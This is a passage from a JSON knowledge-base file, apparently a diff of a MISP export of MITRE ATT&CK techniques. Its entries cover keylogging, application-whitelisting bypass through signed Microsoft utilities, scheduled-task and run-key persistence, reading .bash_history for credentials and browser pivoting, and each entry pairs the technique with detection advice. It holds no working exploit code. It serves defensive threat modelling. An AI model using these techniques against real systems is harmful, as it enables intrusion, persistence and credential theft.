"7c93aa74-4bc0-4a9e-90ea-f25f86301566" - }, - { - "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)\n\nDetection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", - "value": "Input Capture - T1056", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1056", - "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/", - "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" - ], - "mitre_data_sources": [ - "Windows Registry", - "Kernel drivers", - "Process monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2" - }, - { - "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith", - "value": "Regsvcs/Regasm - T1121", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1121", - "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", - "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302" - }, - { - "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n===Tracker===\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012\n\nRemote Support: No\n\nContributors: Casey Smith, Matthew Demaske, Adaptforward", - "value": "Trusted Developer Utilities - T1127", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1127", - "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", - "https://msdn.microsoft.com/library/dd393574.aspx", - "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index", - "https://docs.microsoft.com/visualstudio/msbuild/file-tracking", - "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx", - "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/", - "https://twitter.com/subTee/status/793151392185589760", - "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", - "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/" - ], - "mitre_data_sources": [ - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b" - }, - { - "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User", - "value": "System Network Configuration Discovery - T1016", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1016" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0" - }, - { - "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n*Event ID 106 - Scheduled task registered\n*Event ID 140 - Scheduled task updated\n*Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes\n\nContributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek", - "value": "Scheduled Task - T1053", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1053", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", - "https://technet.microsoft.com/library/dd315590.aspx", - "https://technet.microsoft.com/en-us/library/cc785125.aspx", - "https://twitter.com/leoloobeek/status/939248813465853953" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9" - }, - { - "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator\n\nRemote Support: No", - "value": "Trap - T1154", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1154" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6" - }, - { - "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.\n\nRemote Support: Yes", - "value": "Windows Management Instrumentation - T1047", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1047", - "https://en.wikipedia.org/wiki/Server%20Message%20Block", - "https://technet.microsoft.com/en-us/library/cc787851.aspx", - "https://msdn.microsoft.com/en-us/library/aa394582.aspx", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" - ], - "mitre_data_sources": [ - "Authentication logs", - "Netflow/Enclave netflow", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "01a5a209-b94c-450b-b7f9-946497d91055" - }, - { - "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA)\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder. (Citation: Microsoft File Streams)\n\nDetection: Forensic techniques exist to identify information stored in EA. (Citation: Journey into IR ZeroAccess NTFS EA) It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Kernel drivers\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive", - "value": "NTFS Extended Attributes - T1096", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1096", - "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", - "http://msdn.microsoft.com/en-us/library/aa364404" - ], - "mitre_data_sources": [ - "File monitoring", - "Kernel drivers" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d" - }, - { - "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User", - "value": "Bash History - T1139", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1139", - "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8" - }, - { - "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the ps command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Administrator, SYSTEM may provide better process ownership details", - "value": "Process Discovery - T1057", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1057" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580" - }, - { - "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\n\nPlatforms: Windows\n\nData Sources: API monitoring, BIOS, EFI\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Ryan Becwar, McAfee", - "value": "System Firmware - T1019", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1019", - "https://en.wikipedia.org/wiki/BIOS", - "https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface", - "http://www.uefi.org/about", - "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", - "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", - "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/", - "https://github.com/chipsec/chipsec", - "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" - ], - "mitre_data_sources": [ - "API monitoring", - "BIOS", - "EFI" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3" - }, - { - "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring\n\nPermissions Required: User, Administrator", - "value": "Registry Run Keys / Start Folder - T1060", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1060", - "http://msdn.microsoft.com/en-us/library/aa376977", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "mitre_data_sources": [ - "Windows Registry", - "File monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc" - }, - { - "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes", - "value": "Service Execution - T1035", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1035" - ], - "mitre_data_sources": [ - "Windows Registry", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392" - }, - { - "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", - "value": "Uncommonly Used Port - T1065", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1065", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0" - }, - { - "description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDetection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM", - "value": "Distributed Component Object Model - T1175", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1175", - "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", - "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx", - "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx", - "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", - "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", - "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/", - "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/", - "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom" - ], - "mitre_data_sources": [ - "API monitoring", - "Authentication logs", - "DLL monitoring", - "Packet capture", - "Process monitoring", - "Windows Registry", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7" - }, - { - "description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator", - "value": "Startup Items - T1165", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1165", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f" - }, - { - "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication (Citation: cobaltstrike manual).\n\nDetection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Justin Warner, ICEBRG", - "value": "Man in the Browser - T1185", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1185", - "https://en.wikipedia.org/wiki/Man-in-the-browser", - "https://www.cobaltstrike.com/help-browser-pivoting", - "https://cobaltstrike.com/downloads/csmanual38.pdf" - ], - "mitre_data_sources": [ - "Authentication logs", - "Packet capture", - "Process Monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "544b0346-29ad-41e1-a808-501bb4193f47" - }, - { - "description": "Mach-O binaries have a series of headers that 